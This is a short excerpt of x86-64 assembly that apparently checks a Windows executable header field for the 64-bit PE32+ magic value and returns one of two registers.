je 0x1400031e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret